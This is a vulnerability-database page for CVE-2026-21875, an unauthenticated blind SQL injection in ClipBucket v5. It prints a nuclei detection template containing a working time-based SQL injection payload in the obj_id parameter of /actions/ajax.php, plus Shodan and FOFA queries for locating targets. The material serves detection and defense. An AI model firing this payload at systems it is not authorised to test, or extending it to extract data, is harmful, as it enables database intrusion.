Browse / CVEs / CVE-2026-21875
CVE-2026-21875· macwarrior / clipbucket· CWE-89
ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection
criticalseverity
9.8CVSS score
1.8%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.
Impact
Attackers can perform blind SQL injection to extract or manipulate database information remotely.
Fix
Update to the latest version once a fix is available.
How to confirm it
Send: GET /
Positive when: status_code == 200 and contains_any(tolower(body), "clipbucket", "cb_v5", "clip-bucket")
Send: @timeout: 10s
Positive when: status_code == 200 and contains(body, "channel_not_exist") and duration >= 6Run it with nuclei: nuclei -id CVE-2026-21875 -u <target>
The full check
id: CVE-2026-21875
info:
name: ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection
author: str4k3r,0x_Akoko
severity: critical
description: |
ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.
impact: |
Attackers can perform blind SQL injection to extract or manipulate database information remotely.
remediation: |
Update to the latest version once a fix is available.
reference:
- https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392
- https://nvd.nist.gov/vuln/detail/CVE-2026-21875
classification:
cve-id: CVE-2026-21875
epss-score: 0.0175
epss-percentile: 0.78043
cwe-id: CWE-89
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
metadata:
verified: true
max-request: 2
vendor: macwarrior
product: clipbucket
shodan-query: http.html:"ClipBucket"
fofa-query: body="ClipBucket" || body="clipbucket"
tags: cve,cve2026,clipbucket,sqli,blind-sqli,time-based,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "clipbucket", "cb_v5", "clip-bucket")'
condition: and
internal: true
- raw:
- |
@timeout: 10s
POST /actions/ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mode=add_comment&type=channel&reply_to=1&obj_id=999999%27%20OR%20(userid%3D1%20AND%20SLEEP(6))--%20-&name=test&email=test%40gmail.com&comment=testing
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "channel_not_exist")'
- 'duration >= 6'
condition: andReferences
- https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392
- https://nvd.nist.gov/vuln/detail/CVE-2026-21875
Use this check only on systems you are authorised to test. Where the data comes from